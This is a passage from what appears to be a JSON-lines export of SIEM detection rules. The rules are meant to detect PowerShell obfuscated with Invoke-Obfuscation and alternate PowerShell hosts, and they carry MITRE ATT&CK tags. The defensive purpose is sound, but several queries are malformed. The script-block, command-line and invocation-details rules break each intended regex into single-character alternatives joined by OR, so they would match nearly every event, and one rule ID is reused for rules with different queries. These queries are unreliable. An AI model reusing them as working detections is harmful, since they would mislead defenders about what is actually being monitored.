OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/,/ OR winlog.event_data.Payload:/)/ OR winlog.event_data.Payload:/{/ OR winlog.event_data.Payload:/2/ OR winlog.event_data.Payload:/}/)) OR ((powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/m/ OR powershell.command.invocation_details:/d/ OR powershell.command.invocation_details:/r/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/W/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/)/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/./ OR powershell.command.invocation_details:/N/ OR powershell.command.invocation_details:/a/ OR powershell.command.invocation_details:/m/ OR powershell.command.invocation_details:/e/)) OR ((winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/m/ OR winlog.event_data.Payload:/d/ OR winlog.event_data.Payload:/r/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/W/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/)/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/./ OR winlog.event_data.Payload:/N/ OR winlog.event_data.Payload:/a/ OR winlog.event_data.Payload:/m/ OR winlog.event_data.Payload:/e/)) OR ((powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/$/ OR powershell.command.invocation_details:/V/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/r/ OR powershell.command.invocation_details:/b/ OR powershell.command.invocation_details:/o/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/P/ OR powershell.command.invocation_details:/r/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/f/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/r/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/n/ OR powershell.command.invocation_details:/c/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/./ OR powershell.command.invocation_details:/T/ OR powershell.command.invocation_details:/o/ OR powershell.command.invocation_details:/S/ OR powershell.command.invocation_details:/t/ OR powershell.command.invocation_details:/r/ OR powershell.command.invocation_details:/i/ OR powershell.command.invocation_details:/n/ OR powershell.command.invocation_details:/g/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/(/)) OR ((winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/$/ OR winlog.event_data.Payload:/V/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/r/ OR winlog.event_data.Payload:/b/ OR winlog.event_data.Payload:/o/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/P/ OR winlog.event_data.Payload:/r/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/f/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/r/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/n/ OR winlog.event_data.Payload:/c/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/./ OR winlog.event_data.Payload:/T/ OR winlog.event_data.Payload:/o/ OR winlog.event_data.Payload:/S/ OR winlog.event_data.Payload:/t/ OR winlog.event_data.Payload:/r/ OR winlog.event_data.Payload:/i/ OR winlog.event_data.Payload:/n/ OR winlog.event_data.Payload:/g/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/(/)) OR ((powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/[/ OR powershell.command.invocation_details:/S/ OR powershell.command.invocation_details:/t/ OR powershell.command.invocation_details:/r/ OR powershell.command.invocation_details:/i/ OR powershell.command.invocation_details:/n/ OR powershell.command.invocation_details:/g/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/]/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/*/ OR powershell.command.invocation_details:/\\/ OR powershell.command.invocation_details:/$/ OR powershell.command.invocation_details:/V/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/r/ OR powershell.command.invocation_details:/b/ OR powershell.command.invocation_details:/o/ OR powershell.command.invocation_details:/s/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/P/ OR powershell.command.invocation_details:/r/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/f/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/r/ OR powershell.command.invocation_details:/e/ OR powershell.command.invocation_details:/n/ OR powershell.command.invocation_details:/c/ OR powershell.command.invocation_details:/e/)) OR ((winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/[/ OR winlog.event_data.Payload:/S/ OR winlog.event_data.Payload:/t/ OR winlog.event_data.Payload:/r/ OR winlog.event_data.Payload:/i/ OR winlog.event_data.Payload:/n/ OR winlog.event_data.Payload:/g/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/]/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/*/ OR winlog.event_data.Payload:/\\/ OR winlog.event_data.Payload:/$/ OR winlog.event_data.Payload:/V/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/r/ OR winlog.event_data.Payload:/b/ OR winlog.event_data.Payload:/o/ OR winlog.event_data.Payload:/s/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/P/ OR winlog.event_data.Payload:/r/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/f/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/r/ OR winlog.event_data.Payload:/e/ OR winlog.event_data.Payload:/n/ OR winlog.event_data.Payload:/c/ OR winlog.event_data.Payload:/e/)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "74a1868e-8ec6-c103-52e4-cc19c7d38e15", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Obfuscated IEX Invocation", "query": "(winlog.channel:\"System\" AND winlog.event_id:\"7045\" AND (winlog.event_data.ImagePath:/\\$PSHome\\[\\s*\\d{1,3}\\s*\\]\\s*\\+\\s*\\$PSHome\\[/ OR winlog.event_data.ImagePath:/\\$ShellId\\[\\s*\\d{1,3}\\s*\\]\\s*\\+\\s*\\$ShellId\\[/ OR winlog.event_data.ImagePath:/\\$env:Public\\[\\s*\\d{1,3}\\s*\\]\\s*\\+\\s*\\$env:Public\\[/ OR winlog.event_data.ImagePath:/\\$env:ComSpec\\[(\\s*\\d{1,3}\\s*,){2}/ OR winlog.event_data.ImagePath:/\\\\*mdr\\*\\W\\s*\\)\\.Name/ OR winlog.event_data.ImagePath:/\\$VerbosePreference\\.ToString\\(/ OR winlog.event_data.ImagePath:/\\String\\]\\s*\\$VerbosePreference/))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniel Bohannon (@Mandiant/@FireEye)", "oscd.community"], "license": ""}
{"description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "74a1868e-8ec6-c103-52e4-cc19c7d38e15", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Obfuscated IEX Invocation", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND (winlog.event_data.ServiceFileName:/\\$PSHome\\[\\s*\\d{1,3}\\s*\\]\\s*\\+\\s*\\$PSHome\\[/ OR winlog.event_data.ServiceFileName:/\\$ShellId\\[\\s*\\d{1,3}\\s*\\]\\s*\\+\\s*\\$ShellId\\[/ OR winlog.event_data.ServiceFileName:/\\$env:Public\\[\\s*\\d{1,3}\\s*\\]\\s*\\+\\s*\\$env:Public\\[/ OR winlog.event_data.ServiceFileName:/\\$env:ComSpec\\[(\\s*\\d{1,3}\\s*,){2}/ OR winlog.event_data.ServiceFileName:/\\\\*mdr\\*\\W\\s*\\)\\.Name/ OR winlog.event_data.ServiceFileName:/\\$VerbosePreference\\.ToString\\(/ OR winlog.event_data.ServiceFileName:/\\String\\]\\s*\\$VerbosePreference/))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniel Bohannon (@Mandiant/@FireEye)", "oscd.community"], "license": ""}
{"description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \\u2014", "author": ["Daniel Bohannon (@Mandiant/@FireEye)", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "80496df5-dadf-76b3-a780-6e8b208ebfa3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell", "query": "(((powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/P/ OR powershell.file.script_block_text:/S/ OR powershell.file.script_block_text:/H/ OR powershell.file.script_block_text:/o/ OR powershell.file.script_block_text:/m/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/[/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/d/ OR powershell.file.script_block_text:/{/ OR powershell.file.script_block_text:/1/ OR powershell.file.script_block_text:/,/ OR powershell.file.script_block_text:/3/ OR powershell.file.script_block_text:/}/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/]/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/P/ OR powershell.file.script_block_text:/S/ OR powershell.file.script_block_text:/H/ OR powershell.file.script_block_text:/o/ OR powershell.file.script_block_text:/m/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/[/)) OR ((powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/S/ OR powershell.file.script_block_text:/h/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/l/ OR powershell.file.script_block_text:/l/ OR powershell.file.script_block_text:/I/ OR powershell.file.script_block_text:/d/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/[/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/d/ OR powershell.file.script_block_text:/{/ OR powershell.file.script_block_text:/1/ OR powershell.file.script_block_text:/,/ OR powershell.file.script_block_text:/3/ OR powershell.file.script_block_text:/}/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/]/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/S/ OR powershell.file.script_block_text:/h/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/l/ OR powershell.file.script_block_text:/l/ OR powershell.file.script_block_text:/I/ OR powershell.file.script_block_text:/d/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/[/)) OR ((powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/v/ OR powershell.file.script_block_text:/:/ OR powershell.file.script_block_text:/P/ OR powershell.file.script_block_text:/u/ OR powershell.file.script_block_text:/b/ OR powershell.file.script_block_text:/l/ OR powershell.file.script_block_text:/i/ OR powershell.file.script_block_text:/c/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/[/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/d/ OR powershell.file.script_block_text:/{/ OR powershell.file.script_block_text:/1/ OR powershell.file.script_block_text:/,/ OR powershell.file.script_block_text:/3/ OR powershell.file.script_block_text:/}/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/]/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/v/ OR powershell.file.script_block_text:/:/ OR powershell.file.script_block_text:/P/ OR powershell.file.script_block_text:/u/ OR powershell.file.script_block_text:/b/ OR powershell.file.script_block_text:/l/ OR powershell.file.script_block_text:/i/ OR powershell.file.script_block_text:/c/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/[/)) OR ((powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/v/ OR powershell.file.script_block_text:/:/ OR powershell.file.script_block_text:/C/ OR powershell.file.script_block_text:/o/ OR powershell.file.script_block_text:/m/ OR powershell.file.script_block_text:/S/ OR powershell.file.script_block_text:/p/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/c/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/[/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/d/ OR powershell.file.script_block_text:/{/ OR powershell.file.script_block_text:/1/ OR powershell.file.script_block_text:/,/ OR powershell.file.script_block_text:/3/ OR powershell.file.script_block_text:/}/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/,/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/{/ OR powershell.file.script_block_text:/2/ OR powershell.file.script_block_text:/}/)) OR ((powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/m/ OR powershell.file.script_block_text:/d/ OR powershell.file.script_block_text:/r/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/W/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/./ OR powershell.file.script_block_text:/N/ OR powershell.file.script_block_text:/a/ OR powershell.file.script_block_text:/m/ OR powershell.file.script_block_text:/e/)) OR ((powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/V/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/r/ OR powershell.file.script_block_text:/b/ OR powershell.file.script_block_text:/o/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/P/ OR powershell.file.script_block_text:/r/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/f/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/r/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/c/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/./ OR powershell.file.script_block_text:/T/ OR powershell.file.script_block_text:/o/ OR powershell.file.script_block_text:/S/ OR powershell.file.script_block_text:/t/ OR powershell.file.script_block_text:/r/ OR powershell.file.script_block_text:/i/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/g/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/(/)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block", "author": ["Daniel Bohannon (@Mandiant/@FireEye)", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "74a1868e-8ec6-c103-52e4-cc19c7d38e15", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Obfuscated IEX Invocation", "query": "(((process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/P/ OR process.command_line.text:/S/ OR process.command_line.text:/H/ OR process.command_line.text:/o/ OR process.command_line.text:/m/ OR process.command_line.text:/e/ OR process.command_line.text:/\\/ OR process.command_line.text:/[/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/d/ OR process.command_line.text:/{/ OR process.command_line.text:/1/ OR process.command_line.text:/,/ OR process.command_line.text:/3/ OR process.command_line.text:/}/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/]/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/P/ OR process.command_line.text:/S/ OR process.command_line.text:/H/ OR process.command_line.text:/o/ OR process.command_line.text:/m/ OR process.command_line.text:/e/ OR process.command_line.text:/\\/ OR process.command_line.text:/[/)) OR ((process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/S/ OR process.command_line.text:/h/ OR process.command_line.text:/e/ OR process.command_line.text:/l/ OR process.command_line.text:/l/ OR process.command_line.text:/I/ OR process.command_line.text:/d/ OR process.command_line.text:/\\/ OR process.command_line.text:/[/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/d/ OR process.command_line.text:/{/ OR process.command_line.text:/1/ OR process.command_line.text:/,/ OR process.command_line.text:/3/ OR process.command_line.text:/}/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/]/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/S/ OR process.command_line.text:/h/ OR process.command_line.text:/e/ OR process.command_line.text:/l/ OR process.command_line.text:/l/ OR process.command_line.text:/I/ OR process.command_line.text:/d/ OR process.command_line.text:/\\/ OR process.command_line.text:/[/)) OR ((process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/e/ OR process.command_line.text:/n/ OR process.command_line.text:/v/ OR process.command_line.text:/:/ OR process.command_line.text:/P/ OR process.command_line.text:/u/ OR process.command_line.text:/b/ OR process.command_line.text:/l/ OR process.command_line.text:/i/ OR process.command_line.text:/c/ OR process.command_line.text:/\\/ OR process.command_line.text:/[/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/d/ OR process.command_line.text:/{/ OR process.command_line.text:/1/ OR process.command_line.text:/,/ OR process.command_line.text:/3/ OR process.command_line.text:/}/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/]/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/e/ OR process.command_line.text:/n/ OR process.command_line.text:/v/ OR process.command_line.text:/:/ OR process.command_line.text:/P/ OR process.command_line.text:/u/ OR process.command_line.text:/b/ OR process.command_line.text:/l/ OR process.command_line.text:/i/ OR process.command_line.text:/c/ OR process.command_line.text:/\\/ OR process.command_line.text:/[/)) OR ((process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/e/ OR process.command_line.text:/n/ OR process.command_line.text:/v/ OR process.command_line.text:/:/ OR process.command_line.text:/C/ OR process.command_line.text:/o/ OR process.command_line.text:/m/ OR process.command_line.text:/S/ OR process.command_line.text:/p/ OR process.command_line.text:/e/ OR process.command_line.text:/c/ OR process.command_line.text:/\\/ OR process.command_line.text:/[/ OR process.command_line.text:/(/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/d/ OR process.command_line.text:/{/ OR process.command_line.text:/1/ OR process.command_line.text:/,/ OR process.command_line.text:/3/ OR process.command_line.text:/}/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/,/ OR process.command_line.text:/)/ OR process.command_line.text:/{/ OR process.command_line.text:/2/ OR process.command_line.text:/}/)) OR ((process.command_line.text:/\\/ OR process.command_line.text:/*/ OR process.command_line.text:/m/ OR process.command_line.text:/d/ OR process.command_line.text:/r/ OR process.command_line.text:/\\/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/W/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/)/ OR process.command_line.text:/\\/ OR process.command_line.text:/./ OR process.command_line.text:/N/ OR process.command_line.text:/a/ OR process.command_line.text:/m/ OR process.command_line.text:/e/)) OR ((process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/V/ OR process.command_line.text:/e/ OR process.command_line.text:/r/ OR process.command_line.text:/b/ OR process.command_line.text:/o/ OR process.command_line.text:/s/ OR process.command_line.text:/e/ OR process.command_line.text:/P/ OR process.command_line.text:/r/ OR process.command_line.text:/e/ OR process.command_line.text:/f/ OR process.command_line.text:/e/ OR process.command_line.text:/r/ OR process.command_line.text:/e/ OR process.command_line.text:/n/ OR process.command_line.text:/c/ OR process.command_line.text:/e/ OR process.command_line.text:/\\/ OR process.command_line.text:/./ OR process.command_line.text:/T/ OR process.command_line.text:/o/ OR process.command_line.text:/S/ OR process.command_line.text:/t/ OR process.command_line.text:/r/ OR process.command_line.text:/i/ OR process.command_line.text:/n/ OR process.command_line.text:/g/ OR process.command_line.text:/\\/ OR process.command_line.text:/(/)) OR ((process.command_line.text:/\\/ OR process.command_line.text:/[/ OR process.command_line.text:/S/ OR process.command_line.text:/t/ OR process.command_line.text:/r/ OR process.command_line.text:/i/ OR process.command_line.text:/n/ OR process.command_line.text:/g/ OR process.command_line.text:/\\/ OR process.command_line.text:/]/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/V/ OR process.command_line.text:/e/ OR process.command_line.text:/r/ OR process.command_line.text:/b/ OR process.command_line.text:/o/ OR process.command_line.text:/s/ OR process.command_line.text:/e/ OR process.command_line.text:/P/ OR process.command_line.text:/r/ OR process.command_line.text:/e/ OR process.command_line.text:/f/ OR process.command_line.text:/e/ OR process.command_line.text:/r/ OR process.command_line.text:/e/ OR process.command_line.text:/n/ OR process.command_line.text:/c/ OR process.command_line.text:/e/)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "enabled": false, "false_positives": ["Programs using PowerShell directly without invocation of a dedicated interpreter", "MSP Detection Searcher", "Citrix ConfigSync.ps1"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "26a18131-63fc-26d8-f0b1-139c072c47ce", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Alternate PowerShell Hosts", "query": "(process.command_line:* AND (NOT (process.command_line:C\\:\\\\WINDOWS\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe* OR ContextInfo:*Citrix\\\\ConfigSync\\\\ConfigSync.ps1*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
